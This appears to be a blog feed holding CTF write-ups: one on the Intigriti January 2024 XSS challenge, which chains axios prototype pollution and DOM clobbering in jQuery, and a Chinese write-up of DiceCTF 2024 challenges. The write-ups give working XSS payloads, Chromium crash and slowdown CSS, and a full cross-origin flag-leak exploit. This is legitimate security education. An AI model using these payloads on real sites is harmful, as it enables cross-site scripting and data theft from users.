<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Intigriti XSS Challenge</title> <link rel="stylesheet" href="/static/css/main.css"></head><body><h2>Hey <%- name %>,<br>Which repo are you looking for?</h2><form id="search"> <input name="q" value="<%= search %>"></form><hr><img src="/static/img/loading.gif" class="loading" width="50px" hidden><br><img class="avatar" width="35%"><p id="description"></p><iframe id="homepage" hidden></iframe><script src="/static/js/axios.min.js"></script><script src="/static/js/jquery-3.7.1.min.js"></script><script> function search(name) { $("img.loading").attr("hidden", false); axios.post("/search", $("#search").get(0), { "headers": { "Content-Type": "application/json" } }).then((d) => { $("img.loading").attr("hidden", true); const repo = d.data; if (!repo.owner) { alert("Not found!"); return; }; $("img.avatar").attr("src", repo.owner.avatar_url); $("#description").text(repo.description); if (repo.homepage && repo.homepage.startsWith("https://")) { $("#homepage").attr({ "src": repo.homepage, "hidden": false }); }; }); }; window.onload = () => { const params = new URLSearchParams(location.search); if (params.get("search")) search(); $("#search").submit((e) => { e.preventDefault(); search(); }); };</script></body></html>
The part <h2>Hey <%- name %>
is the only part related to the backend, where DOMPurify is used for sanitization:
app.get("/", (req, res) => { if (!req.query.name) { res.render("index"); return; } res.render("search", { name: DOMPurify.sanitize(req.query.name, { SANITIZE_DOM: false }), search: req.query.search });});
It’s worth noting the SANITIZE_DOM: false
here, which disables protection against DOM Clobbering. This suggests that the challenge is related to DOM Clobbering, as this setting is deliberately turned off.
The main logic of the challenge is in the search
function:
function search(name) { $("img.loading").attr("hidden", false); axios.post("/search", $("#search").get(0), { "headers": { "Content-Type": "application/json" } }).then((d) => { $("img.loading").attr("hidden", true); const repo = d.data; if (!repo.owner) { alert("Not found!"); return; }; $("img.avatar").attr("src", repo.owner.avatar_url); $("#description").text(repo.description); if (repo.homepage && repo.homepage.startsWith("https://")) { $("#homepage").attr({ "src": repo.homepage, "hidden": false }); }; });};
Actually, there doesn’t seem to be any vulnerability in the above code snippet. So after reviewing it, I went to check the libraries used in the challenge, which are jQuery 3.7.1 and axios 1.6.2. Although the file names were not mentioned, it was evident from the file contents.
Upon investigation, it was found that 1.6.2 is not the latest version, and a prototype pollution vulnerability was fixed in version 1.6.4: https://github.com/axios/axios/commit/3c0c11cade045c4412c242b5727308cff9897a0e
The commit even includes an exploit directly, great:
it('should resist prototype pollution CVE', () => { const formData = new FormData(); formData.append('foo[0]', '1'); formData.append('foo[1]', '2'); formData.append('__proto__.x', 'hack'); formData.append('constructor.prototype.y', 'value'); expect(formDataToJSON(formData)).toEqual({ foo: ['1', '2'], constructor: { prototype: { y: 'value' } } }); expect({}.x).toEqual(undefined); expect({}.y).toEqual(undefined);});
From the commit, it can be seen that axios has a function called formDataToJSON
that converts FormData to JSON, and the conversion code contains a vulnerability that can be exploited through the name
parameter for prototype pollution.
Moving back to the challenge code, there is a part that executes: axios.post("/search", $("#search").get(0)
, so as long as we can control #search
, we can control the parameters passed here. It can be seen from the axios source code that the form passed here will eventually be converted to FormData and passed to formDataToJSON
.
Therefore, we can inject a <form>
using the name
to perform prototype pollution. The next step is to find a gadget, usually starting with objects.
A suspicious part of the code is:
$("#homepage").attr({ "src": repo.homepage, "hidden": false});
The parameter passed here is an object, and if the .attr
function does not have specific checks, it could be affected by polluted parameters. In fact, in jQuery, the implementation of attr is as follows:
jQuery.fn.extend( { attr: function( name, value ) { return access( this, jQuery.attr, name, value, arguments.length > 1 ); },}
The implementation of access is:
export function access( elems, fn, key, value, chainable, emptyGet, raw ) { var i = 0, len = elems.length, bulk = key == null; // Sets many values if ( toType( key ) === "object" ) { chainable = true; for ( i in key ) { access( elems, fn, i, key[ i ], true, emptyGet, raw ); } }}
If the key passed is an object, it will use in
to retrieve each key. Since in
retrieves properties on the prototype chain, we can pollute onload
to let jQuery set the onload attribute.
The payload is as follows:
<form id=search> <input name=__proto__.onload value=alert(document.domain)> <input name=q value=react-d3><</form>
It may seem fine, but upon testing, an error occurs:
Uncaught (in promise) TypeError: Cannot use 'in' operator to search for 'set' in alert(document.domain)
After a while of debugging, it was found that the error originated from this section when setting the attr
:
// Attribute hooks are determined by the lowercase version// Grab necessary hook if one is definedif ( nType !== 1 || !jQuery.isXMLDoc( elem ) ) { hooks = jQuery.attrHooks[ name.toLowerCase() ] || ( jQuery.expr.match.bool.test( name ) ? boolHook : undefined );}if ( value !== undefined ) { if ( value === null ) { jQuery.removeAttr( elem, name ); return; } if ( hooks && "set" in hooks && ( ret = hooks.set( elem, value, name ) ) !== undefined ) { return ret; } elem.setAttribute( name, value + "" ); return value;}
It first executes hooks = jQuery.attrHooks[ name.toLowerCase() ]
, since we polluted the onload
attribute, jQuery.attrHooks['onload']
will be a string, making hooks
a string as well.
Next, it reaches "set" in hooks
, as strings do not have in
to use, hence throwing the error seen earlier.
Now that we know where the problem lies, the solution is simple. Changing onload
to Onload
will suffice, as this way name.toLowerCase()
will be onload
, and jQuery.attrHooks['onload']
will not exist.
With this, the issue is resolved. It was much easier than I had imagined, taking about 3-4 hours. Then, I saw the author’s tweet and realized it was an unintended, explaining why it was less challenging than expected.
Knowing that my solution was unintended, I began to think about what the intended solution might be. The author mentioned in Discord that the intended solution and the current unintended solution used completely different approaches, so it could be assumed that the attr({})
part was to be excluded, leaving only the remaining code:
function search(name) { $("img.loading").attr("hidden", false); axios.post("/search", $("#search").get(0), { "headers": { "Content-Type": "application/json" } }).then((d) => { $("img.loading").attr("hidden", true); const repo = d.data; if (!repo.owner) { alert("Not found!"); return; }; $("img.avatar").attr("src", repo.owner.avatar_url); $("#description").text(repo.description); });};
Within the remaining code, my intuition told me that the focus was on this line:
$("img.avatar").attr("src", repo.owner.avatar_url);
If we could use prototype pollution to change $("img.avatar")
to $('#homepage')
, selecting that iframe, and then with control over repo.owner.avatar_url
, we could set the iframe’s src to javascript:alert(1)
, achieving XSS.
This guess seemed very reasonable, with about a 90% chance of being correct, as using prototype pollution to affect selectors seemed new, at least to me, and it was cool! It also aligned with the author’s tweet: “super interesting.”
So, I spent some time exploring how selectors work, but the code turned out to be more complex than I had imagined, involving many functions.
After four to five hours, I finally found a point to exploit.
When executing $()
, it uses find to locate the corresponding elements. There is a check for documentIsHTML
, and if it is true, it typically uses native APIs like querySelector to search, with no room for manipulation.
Therefore, we needed to make it false. The code for this check is here. By making isXMLDoc
return true, documentIsHTML
will be false:
isXMLDoc: function( elem ) { var namespace = elem && elem.namespaceURI, docElem = elem && ( elem.ownerDocument || elem ).documentElement; // Assume HTML when documentElement doesn't yet exist, such as inside // document fragments. return !rhtmlSuffix.test( namespace || docElem && docElem.nodeName || "HTML" );},
We can use DOM clobbering to overwrite documentElement
, turning docElem
into an <img>
. This change would invalidate the check and set isXMLDoc
to true because documentElement
is not <html>
.
After bypassing the check, native APIs were temporarily not used, and the select function was executed, starting with tokenizing the selector:
function tokenize( selector, parseOnly ) { var matched, match, tokens, type, soFar, groups, preFilters, cached = tokenCache[ selector + " " ]; if ( cached ) { return parseOnly ? 0 : cached.slice( 0 ); } // ...}
This seemed to be the target!
By polluting img.avatar
, we could control the tokenCache
content, influencing the tokenization result to directly replace it with the iframe we wanted to select.
It appears the expected solution wasn’t that difficult after all.
However, after attempting it, it was found to be ineffective.
The reason it didn’t work was not due to a wrong gadget but rather the prototype pollution aspect. This led to revisiting and studying the axios vulnerability exploit that was previously overlooked.
Axios works like this when converting the form name to a JSON key, as shown here:
/** * It takes a string like `foo[x][y][z]` and returns an array like `['foo', 'x', 'y', 'z'] * * @param {string} name - The name of the property to get. * * @returns An array of strings. */function parsePropPath(name) { // foo[x][y][z] // foo.x.y.z // foo-x-y-z // foo x y z return utils.matchAll(/\w+|\[(\w*)]/g, name).map(match => { return match[0] === '[]' ? '' : match[1] || match[0]; });}
It treats any characters other than A-Za-z0-9_ as separators, so spaces cannot be part of the property name. I spent three to four hours here and couldn’t find any way to bypass this.
At this point, I realized I was wrong, this challenge was not that simple…
After a day, I continued to look at this challenge. Since I couldn’t use spaces, there must be another way to exploit it. So, I continued to trace how the code works.
If you keep tracing down, you will reach the function matcherFromTokens. However, the code inside is complex and lengthy. When I first saw it, I thought, “Forget it, I’ll wait for the solution.”
But after a day, I gathered my spirits and started over. I found a place to pollute before entering tokenize:
function select( selector, context, results, seed ) { var i, tokens, token, type, find, compiled = typeof selector === "function" && selector, match = !seed && tokenize( ( selector = compiled.selector || selector ) );// ...}
Here, there is selector = compiled.selector || selector
. So, if I pollute selector
, I can change the selector arbitrarily.
Just as I was feeling proud of my cleverness, reality came crashing down on me. After polluting the selector, an error occurred when entering tokenize because this part:
// Filtersfor ( type in filterMatchExpr ) { if ( ( match = jQuery.expr.match[ type ].exec( soFar ) ) && ( !preFilters[ type ] || ( match = preFilters[ type ]( match ) ) ) ) { matched = match.shift(); tokens.push( { value: matched, type: type, matches: match } ); soFar = soFar.slice( matched.length ); }}
By polluting the selector, when executing type in filterMatchExpr
, the polluted selector will be retrieved. Then, it proceeds to jQuery.expr.match[type].exec
, which causes an error because a string does not have the exec
method.
In other words, no matter what we pollute, once we enter tokenize, an error will occur. Therefore, trying to directly pollute the selector as an iframe is not possible.
However, we can pollute the selector with something already in the cache, such as img.loading
, to bypass the error in tokenize.
But this only prevents the program from breaking, it still doesn’t solve the challenge.
After another day or two, I saw the author’s hint on Twitter, clearly pointing out that the key was the addCombinator
I had previously overlooked due to its complexity. From the hint, it was evident that I was just one step away.
So, I gritted my teeth for about half a day, traced this part of the code a bit, and finally got the expected answer.
Here is the final payload:
<img name=documentElement><form id="search"> <input name="__proto__.owner.avatar_url" value="javascript:alert(document.domain)"> <input name="__proto__.CLASS.a" value="1"> <input name="__proto__.TAG.a" value="1"> <input name="__proto__.dir" value="parentNode"> <input name="__proto__.selector" value="img.loading"></form>
In fact, the last part with addCombinator
was a bit of a guess and a bit of actual knowledge. It’s like a part where dir
is used to find matching elements, setting it as the parentNode will keep searching upwards, eventually matching the entire HTML element. This will add src
to every element, including iframes.
I’ve forgotten the details of each function because it was quite complex. If you’re interested, you can directly read the original author’s writeup (link provided below).
I really enjoyed the gradual progression of this challenge, from initially finding an unintended solution and thinking it was simple, to finding the first cache location and thinking I had solved it, only to realize that axios’s prototype pollution couldn’t be used. Then, finding the second compiled.selector
and thinking it was over, only to discover it wasn’t.
To keep digging deeper until reaching addCombinator
to confirm that this challenge could indeed be solved, experiencing so many emotional ups and downs within a single challenge indicates that the challenge was well-designed. Another aspect I liked was that it forced you to review the code; without looking at the code, it was impossible to solve. I enjoy code reviews, so I really liked this challenge.
I admire the author’s ability to continue exploring deeper and find this very interesting solution, combining DOM clobbering and prototype pollution, modifying the jQuery selector’s reference, and creating such a fun challenge!
I recommend the author’s writeup, which goes through a similar process as mine: Intigriti January 2024 - XSS Challenge
In addition, another unintended solution found by @joaxcar is also interesting. If you are interested, you can take a look at: Hunting for Prototype Pollution gadgets in jQuery (intigriti 0124 challenge)
If you are interested in the original topic, you can also refer to it here: https://bugology.intigriti.io/intigriti-monthly-challenges/0124
]]>這次我基本上只解了簡單的 funnylogin 跟難的 safestlist,其他都是隊友解開的,還有另一題 another-csp 有看了一下,因此這篇只會記我有看過的以及比較難的題目。
如果想看其他題,可以參考其他人的 writeup:
官方提供的所有題目原始碼:https://github.com/dicegang/dicectf-quals-2024-challenges
關鍵字列表:
這題的程式碼滿簡單的,簡化過後如下:
<!DOCTYPE html><html><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>another-csp</title> <meta http-equiv="Content-Security-Policy" content="default-src 'none'; script-src 'unsafe-inline'; style-src 'unsafe-inline'"></head><body> <iframe id="sandbox" name="sandbox" sandbox></iframe></body><script> document.getElementById('form').onsubmit = e => { e.preventDefault(); const code = document.getElementById('code').value; const token = localStorage.getItem('token') ?? '0'.repeat(6); const content = `<h1 data-token="${token}">${token}</h1>${code}`; document.getElementById('sandbox').srcdoc = content; }</script></html>
你可以插入任意程式碼到 iframe 裡面,目標是偷到相同網頁下的 token。
而重點是 iframe 的 sandbox 全開,CSP 也封鎖得很死。從這兩個線索中,可以得出限制是:
defeault-src 'none'
,所以禁止引入任何外部資源sandbox
,因此不能執行任何 JavaScript,也無法透過 meta 重新導向少了 JavaScript 以後,就少很多攻擊面了,因此只能從 HTML 與 CSS 下手。這一題的 CSS 有開 unsafe-inline,所以是可以加上 CSS 的。
不過無論如何,看起來都沒辦法對外發送 request,因此要嘛是找到 bypass(例如說 dns prefetch,但這題應該也不適用),要嘛就是要搭配題目的其他部分。
這一題的 bot 的運作方式不太一樣:
import { createServer } from 'http';import { readFileSync } from 'fs';import { spawn } from 'child_process'import { randomInt } from 'crypto';const sleep = timeout => new Promise(resolve => setTimeout(resolve, timeout));const wait = child => new Promise(resolve => child.on('exit', resolve));const index = readFileSync('index.html', 'utf-8');let token = randomInt(2 ** 24).toString(16).padStart(6, '0');let browserOpen = false;const visit = async code => { browserOpen = true; const proc = spawn('node', ['visit.js', token, code], { detached: true }); await Promise.race([ wait(proc), sleep(10000) ]); if (proc.exitCode === null) { process.kill(-proc.pid); } browserOpen = false;}createServer(async (req, res) => { const url = new URL(req.url, 'http://localhost/'); if (url.pathname === '/') { return res.end(index); } else if (url.pathname === '/bot') { if (browserOpen) return res.end('already open!'); const code = url.searchParams.get('code'); if (!code || code.length > 1000) return res.end('no'); visit(code); return res.end('visiting'); } else if (url.pathname === '/flag') { if (url.searchParams.get('token') !== token) { res.end('wrong'); await sleep(1000); process.exit(0); } return res.end(process.env.FLAG ?? 'dice{flag}'); } return res.end();}).listen(8080);
如果 browserOpen 的話,可以從 response 中得知。因此看到題目後我就有個想法,如果讓 Chromium crash 會發生什麼事?是不是可以透過這個方式來 leak 出 token?
舉例來說,假如我們寫一條 CSS 是 h1[data-token^="0"] { /*crash*/ }
,來讓 Chromium crash,那或許就可以加快或是拖慢 bot 執行的時間,進而得知這個 selector 是否符合。
後來是隊友從 Chromium issues 中找到了讓 Chromium crash 的方式:
<style> h1[data-token^="a"] { --c1: color-mix(in srgb, blue 50%, red); --c2: srgb(from var(--c1) r g b); background-color: var(--c2); }</style>
在賽後討論中也看到 Discord 內有人貼了 payload,讓網頁載入變得超級慢,也可以達到類似的效果,這是 @Trixter 貼的:
<style> html:has([data-token^="a"]) { --a: url(/?1),url(/?1),url(/?1),url(/?1),url(/?1); --b: var(--a),var(--a),var(--a),var(--a),var(--a); --c: var(--b),var(--b),var(--b),var(--b),var(--b); --d: var(--c),var(--c),var(--c),var(--c),var(--c); --e: var(--d),var(--d),var(--d),var(--d),var(--d); --f: var(--e),var(--e),var(--e),var(--e),var(--e); }</style><style> *{ background-image: var(--f) }</style>
有點像是 Billion laughs attack 那樣,透過不斷重複構造出一個超大 payload,就可以拖慢速度。
拖慢速度以後就可以用剛剛講過的方式去測量網頁載入所需要的時間,因為超過 10 秒的話會直接 timeout,藉由這點來 leak 出 flag。
這題是修改自之前我有解過的一個題目:SekaiCTF 2022 筆記與 concurrent limit,我簡單描述一下修改後的版本。
這個題目是一個經典的 note app,你可以建立新的 note,但問題是 note 內容會先經過 DOMPurify.sanitize
,所以沒辦法 XSS。而 CSP 的部分是 default-src 'self'
,只能往題目的 origin 發送請求。
也就是說,你沒辦法把請求往外傳。
除了建立 note 以外,還可以刪除 note,是用 note 的 index 來刪的。
而這題的核心是這一段建立 note 的程式碼:
fastify.post("/create", (req, reply) => { const { text } = req.body; if (!text || typeof text !== "string") { return reply.type("text/html").send("Missing text"); } const userNotes = notes.get(req.cookies.id) ?? []; const totalLen = userNotes.reduce((prev, curr) => prev + curr.length, 0); const newLen = totalLen + text.length; if (newLen > 16384) { return reply.redirect(`/?message=Cannot add, please delete some notes first (${newLen} > 16384 chars)`); } userNotes.push(text); userNotes.sort(); notes.set(req.cookies.id, userNotes); reply.redirect("/?message=Note added successfully");});
注意那個 userNotes.sort();
,會根據 note 的內容進行排序。flag 的格式是 dice{[a-z]+}
,利用這個排序功能,可以得出一個簡單的策略。
假設 flag 是 dice{c}
,而我們先建立了一個 dice{a
的 note,建立完以後去刪除第一個 note,這時候 dice{a
會被刪掉,留下 flag dice{c}
。
若是我們先建立了 dice{d
的 note,再去刪除第一個,就換成 dice{c}
被刪掉,留下剛剛建立的 dice{d
。
換句話說,建立 note 以後再刪除第一個 note,根據排序的不同,留下來的 note 也不同。
如果我可以知道最後留下來的 note 是什麼,就能反過來推測出 flag 的順序。如果留下來的是我建立的 note,代表 flag 一定排在前面,字典序也在前面。
因此這題的重點就是,該怎麼知道留下來的 note 是哪一個?
根據去年的解法,我一開始的想法一樣是讓 server side busy。Node.js 是 single thread,所以在處理完一個請求之前,是沒辦法接收其他請求的(非同步則是另外一回事)。
所以我的想法是建立一個 note,裡面有一堆 <img src=/?{random_number}>
,在字數限制內大概可以發送 700~1000 個請求左右,藉由發一堆請求給 server,讓 server 變得忙碌。
這題還有另一點不同,那就是 bot:
const visit = async (url) => { // clear all data await fsp.rm(tmpDir, { recursive: true, force: true }); let browser; try { browser = await launchBrowser(); let page = await browser.newPage(); // set flag await page.goto("http://localhost:3000", { timeout: 7500, waitUntil: "networkidle2" }); await sleep(2000); await page.evaluate((flag) => { document.querySelector("input[type=text]").value = flag; document.querySelector("form[action='/create']").submit(); }, FLAG); await page.waitForNavigation({ waitUntil: "networkidle2" }); // restart browser, which should close all windows await browser.close(); browser = await launchBrowser(); page = await browser.newPage(); // go to the submitted site await page.goto(url, { timeout: 7500, waitUntil: "networkidle2" }) // restart browser, which should close all windows await browser.close(); browser = await launchBrowser(); page = await browser.newPage(); // check on notes now that all other windows are closed await page.goto("http://localhost:3000", { timeout: 7500, waitUntil: "networkidle2" }); await sleep(8000); await page.evaluate(() => { document.querySelector("form[action='/view']").submit(); }); await page.waitForNavigation({ waitUntil: "networkidle2" }); await browser.close(); browser = null; } catch (err) { console.log(err); } finally { if (browser) await browser.close(); }};
在訪問完我們提供的 URL 以後,bot 才去訪問 /view
頁面,因此這次我們沒辦法從瀏覽器上面去衡量時間,而是要從自己 local 去測量。如果前面講的想法沒錯,照理來說在我們 local 也可以測量出時間,server response time 會變慢。
但嘗試了大概三四個小時以後,發現行不通。
理由大概有兩點,第一點是 server 的處理速度太快,我測了一下發送 500 個請求給 localhost,大概 400ms 就處理完了,第二點是時間區間很難抓,很難掌握到「bot 訪問 /view」的那段時間。
總之呢,試了很久都沒辦法得到一個穩定的辦法,只好先放棄了。
而此時我把注意力轉移到了新增 note 時的這一段:
const newLen = totalLen + text.length;if (newLen > 16384) { // case 1 return reply.redirect(`/?message=Cannot add, please delete some notes first (${newLen} > 16384 chars)`);}userNotes.push(text);userNotes.sort();notes.set(req.cookies.id, userNotes);// case2reply.redirect("/?message=Note added successfully");
如果筆記長度超出 16384,會重新導向到 /?message=Cannot add, please delete some notes first
,反之則導向至 /?message=Note added successfully
,換言之,如果可以偵測出導向到的是哪一個,一樣可以利用類似的手法 leak 出 flag。
我有個想法是猜測瀏覽器對於網址長度應該會有限制,可以試著構造出一個超長的網址,導向到 /?message=Cannot add, please delete some notes first
時會超過限制,而導向到 /?message=Note added successfully
時則不會。
但問題是這邊我們沒辦法控制 path 的長度,那該怎麼讓網址變長?
我試了一下 username,例如說:http://${'a'.repeat(1000000)}}:pwd@localhost:3000
,發現居然成功了!
細節可以看底下這個 PoC:
<!DOCTYPE html><html><body> <form id=f method="POST" target="winForm"> <input id=inp name="text" value=""> </form> <script> fetch('/hang') win = window.open('about:blank', 'winForm') const TARGET = 'http://'+ 'a'.repeat(2097050) + ':def@localhost:3000' f.action = TARGET + '/create' inp.value = 'a'.repeat(2) f.submit() let count = 0 setInterval(() => { fetch('/timeout'+count) count++ try { let r = win.location.href fetch('/?r=' + r) } catch(err) { fetch('/err') } }, 500) </script></body></html>
當我建立長度只有 2 的 note 時,網址在限制之內,因此正常開啟新的頁面,去拿 win.location.href
會觸發 cross-origin 的錯誤。
但如果是建立長度 20000 的 note 時,重新導向的頁面網址太長,所以觸發錯誤,導致新開的頁面變成了 about:blank
,不會觸發錯誤。
因此,確實可以靠著網址長度這一點,得知 note 到底有沒有建立成功。
最後的 exploit 如下:
<!DOCTYPE html><html><body> <form id=f method="POST" target="winForm"> <input id=inp name="text" value=""> </form> <form id=f_delete action="http://localhost:3000/remove" method="POST" target="_blank"> <input name="index" value="0"> </form> <form id=f_create action="http://localhost:3000/create" method="POST" target="_blank"> <input id=inp2 name="text" value=""> </form> <script> const sleep = ms => new Promise(r => setTimeout(r, ms)) fetch('/hang') win = window.open('about:blank', 'winForm') f.action = 'http://'+ 'a'.repeat(2097050) + ':def@localhost:3000' + '/create' let count = 0 setInterval(() => { fetch('/ping_' + count) count++ }, 100) // abcdefghijklmnopqrstuvwxyz async function main() { // step1. create note let testPayload = 'dice{xs' fetch('/step_1_start') inp2.value = testPayload + 'z'.repeat(10000) f_create.submit() await sleep(500) fetch('/step_1_end') // step2. delete first note fetch('/step_2_start') f_delete.submit() await sleep(500) fetch('/step_2_end') // step3. leak fetch('/step_3_start') inp.value = 'a'.repeat(10000) f.submit() fetch('/step_3_end') let count = 0 setInterval(() => { fetch('/timeout'+count) count++ try { let r = win.location.href fetch('/?r=' + r) } catch(err) { fetch('/err') } // err: payload is before flag // dice{azzz // dice{flag} // about:blank, payload is after flag // dice{flag} // dice{fzzzz} }, 200) } main() </script></body></html>
每 submit 一次,就能知道 flag 的順序在某個字元前面還後面,運用 binary search 的話,大約 submit 6 次可以知道結果,一次要等 30 秒,總共需要 3 分鐘,因為懶得自動化所以我就手動慢慢 leak 了。
大概花了 40 分鐘左右拿到 flag,不過這其實是 unintended 就是了。
筆記一下 strellic 在 Discord 裡面貼的預期解法,用到了 background fetch API:
先講一下,這題我沒解開也沒時間看,底下是參考作者的解答寫的。
這題的類型也是類似於經典的 note app,可以註冊一個新的帳號並且建立 note,建立的時候可以上傳一張圖片。
先來看一下 bot 的部分:
const puppeteer = require("puppeteer");const crypto = require("crypto");const sleep = (ms) => new Promise(r => setTimeout(r, ms));const visit = async (url) => { const user = crypto.randomBytes(16).toString("hex"); const pass = crypto.randomBytes(32).toString("hex"); let browser; try { browser = await puppeteer.launch({ headless: "new", pipe: true, args: [ "--no-sandbox", "--disable-setuid-sandbox", "--js-flags=--noexpose_wasm,--jitless", ], dumpio: true }); const context = await browser.createIncognitoBrowserContext(); const page = await context.newPage(); await page.goto("http://localhost:3000/register", { timeout: 5000, waitUntil: 'domcontentloaded' }); // create new account await page.waitForSelector("button[type=submit]"); await page.type("input[placeholder='Username']", user); await page.type("input[placeholder='Password']", pass); await page.click("button[type=submit]"); await sleep(3000); // create paste with flag await page.type("input[placeholder='Title']", "Flag"); await page.type("textarea[placeholder='Paste contents']", "Flag"); const imgUpload = await page.$("input[type=file]"); await imgUpload.uploadFile("./flag.png"); await page.click("button[type=submit]"); await sleep(3000); // go to exploit page await page.goto(url, { timeout: 5000, waitUntil: 'domcontentloaded' }); await sleep(30_000); await browser.close(); browser = null; } catch (err) { console.log(err); } finally { if (browser) await browser.close(); } return user;};module.exports = { visit };
會先隨機產生一組帳號密碼,註冊後上傳 flag 作為圖片,接著訪問我們的網頁。因此目標就是要偷走這張圖片,就可以拿到 flag。
這題前端在顯示 note 時,用的都是安全的顯示方式,所以沒辦法注入 HTML 等等,因此一定是要找別的方式,其中就屬上傳檔案最為可疑了:
fastify.route({ method: 'POST', path: '/api/create', onRequest: requiresLogin, handler: async (req, res) => { const body = Object.fromEntries( Object.keys(req.body).map((key) => [key, req.body[key].value]) ); const { title, text } = body; if (typeof title !== "string" || typeof text !== "string") { throw new Error("Title or text must be string"); } if (title.length > 32 || text.length > 512) { throw new Error("Title or text too long"); } const id = crypto.randomBytes(8).toString("hex"); const paste = { id, title, text }; if (req.body.file) { const filename = sanitizeFilename(req.body.file.filename.slice(0, 64), "-"); const ext = filename.slice(filename.lastIndexOf(".")); if (![".png", ".jpeg", ".jpg"].includes(ext)) { throw new Error("Invalid file format for image"); } const buffer = await req.body.file.toBuffer(); try { await fsp.mkdir(path.join(__dirname, 'public', 'uploads', req.user.user)); } catch {} try { await fsp.writeFile(path.join(__dirname, 'public', 'uploads', req.user.user, filename), buffer); } catch {} paste.image = `${req.user.user}/${filename}`; } req.user.pastes.push(paste); return { success: true }; }});
在上傳檔案時會檢查是否為 .png
、.jpeg
或 .jpg
結尾,不是的話就拋出錯誤。雖然乍看之下只能上傳圖片,但如果上傳檔名是 .png
的檔案,在舊版的 fastify static 中就不會有 mimetype,這題也沒有禁止 mime sniffing,就能上傳 HTML 或是 CSS 檔案。
順帶一提,這一題的 CSP 如下:
fastify.addHook('onRequest', (req, res, done) => { if (req.session.get("username") && users.has(req.session.get("username"))) { req.user = users.get(req.session.get("username")); } res.header("Content-Security-Policy", ` script-src 'sha256-BCut0I6hAnpHxUpwpaDB1crwgr249r2udW3tkBGQLv4=' 'unsafe-inline'; img-src 'self'; style-src 'self' 'unsafe-inline' https://fonts.googleapis.com/css2; font-src https://fonts.gstatic.com/s/inter/; frame-ancestors 'none'; object-src 'none'; base-uri 'none'; `.trim().replace(/\s+/g, " ")); res.header("Cache-Control", "no-cache, no-store"); res.header("X-Frame-Options", "DENY"); done();});
雖然說乍看之下 script-src 有 unsafe-inline,但其實是沒作用的,嘗試了之後會發現底下錯誤:
refused to execute inline script because it violates the following Content Security Policy directive:"script-src 'sha256-BCut0I6hAnpHxUpwpaDB1crwgr249r2udW3tkBGQLv4=' 'unsafe-inline'". Note that 'unsafe-inline' is ignored if either a hash or nonce value is present in the source list.
因此這題可以用的 JavaScript 只有題目原先給的而已,其他都要靠 CSS 搞定。
利用以前作者出過的另外一題的技巧,可以藉由 dom clobbering defaultView 來決定 client router 要 render 哪一頁,就等於是可以在任意頁面注入 HTML 跟 CSS,細節可以參考我寫過的:corCTF 2022 writeup - modernblog。
我們需要先得到 /home
裡面會出現的 post id,再得到 /view/:id
裡面會出現的圖片路徑,就能取得 flag。這個 post id 的長度有 16 位,每一位都是 0-f,更麻煩的是這個 post id 每一次請求都會更新:
fastify.route({ method: 'GET', path: '/api/pastes', onRequest: requiresLogin, handler: (req, res) => { req.user.pastes.forEach(p => p.id = crypto.randomBytes(8).toString("hex")); return req.user.pastes.map(({ id, title }) => ({ id, title })); }});
作者給的解法是運用 CSS + iframe 來 leak 出頁面上的資訊,如果只是洩露出一位很簡單,可以利用長寬來做,像是:
<style> body:has(a[href^="/view/1"]) iframe { width: 1px; } body:has(a[href^="/view/2"]) iframe { width: 2px; }</style>
因為這邊 CSP 並沒有 frame-src,所以這個 iframe 會是我們的 origin,可以用 window.innerWidth
來得到寬度,藉此知道第一個字元是什麼。
但問題是每次請求都會不一樣,所以我們必須在一次之內得到所有字元,否則 id 就不同了。
如果要一次 leak 出這麼多字元,一種方式是使用之前在 0CTF 2023 中才提過的方式,另一種是 recursive import,但這種通常都需要有自己的 server 配合。
而作者則是利用了 connection pool 的上限解掉了後者的問題,connection pool 在 CTF 中出現的頻率不低,簡單來說就是把 Chromium 的 255 個 connection 都填滿,就能控制下一個資源什麼時候載入。
因此做法是:
.jpg
),裡面會 leak 出第一個字元並且 import .png
概念是應該是這樣,但實作上似乎有許多狀況需要考慮,會複雜許多,可以參考最後會附上的作者解法,裡面有更多細節。
leak 出 id 以後,接著就可以如法炮製,把圖片路徑也 leak 出來。
但重點是 view note 的頁面,會自動發送請求把圖片刪除,出現錯誤的話也會跳出 alert
:
import React from "react";import { Link, useParams, useNavigate } from "react-router-dom";import axios from 'axios';export default function View() { const { id } = useParams(); const navigate = useNavigate(); const [paste, setPaste] = React.useState(null); React.useEffect(() => { (async () => { try { const r = await axios.get(`/api/paste/${id}`); if (r.data) { setPaste(r.data); if (!r.data.image) { await deletePaste(r.data.id); } } } catch (e) { alert(e?.response?.data?.message || e.message); navigate("/home"); } })(); }, []); const deletePaste = async (id) => { try { await axios.get(`/api/destroy/${id}`); } catch (e) { alert(e?.response?.data?.message || e.message); navigate("/home"); } }; if (!paste) { return <></> } return ( <> <h3>{paste.title}</h3> { paste.image && ( <img src={`/uploads/${paste.image}`} onLoad={() => deletePaste(paste.id)} onError={() => deletePaste(paste.id)} className="mw-100" /> )} <div style={{ whiteSpace: "pre-line" }} className="mb-2">{paste.text}</div> <Link to="/home">← Back</Link> </> );}
可以用 meta tag 的 CSP connect-src 阻止刪除圖片的請求,並且用 iframe 的 sandbox 阻止跳出 modal。
不過我覺得這題最難的事情是要在 30 秒內把所有事情做完,等於說每一個環節都必須自動化,這個真的難。
底下附上作者 strellic 的解法,上面是參考他的解法寫的:
最近有其他事情在忙,有段時間沒打 CTF 了,總覺得有點生疏,不過把 safestlist 解掉真的滿開心的,代表身手沒有退步太多XD
除此之外,這篇也是相隔了兩個月之後的更新,是 2024 年的第一篇,雖然有點晚了,不過還是祝各位讀者新年快樂。
]]>This time, I only managed to solve the simple “funnylogin” and the challenging “safestlist” challenges. The rest were solved by my teammates. I also took a look at another challenge called “another-csp”. Therefore, this post will only cover the challenges I reviewed and the more difficult ones.
If you want to see other challenges, you can refer to other people’s writeups:
All challenge source code provided by the organizers can be found at: https://github.com/dicegang/dicectf-quals-2024-challenges
Keyword list:
The code for this challenge is quite simple, and after simplification, it looks like this:
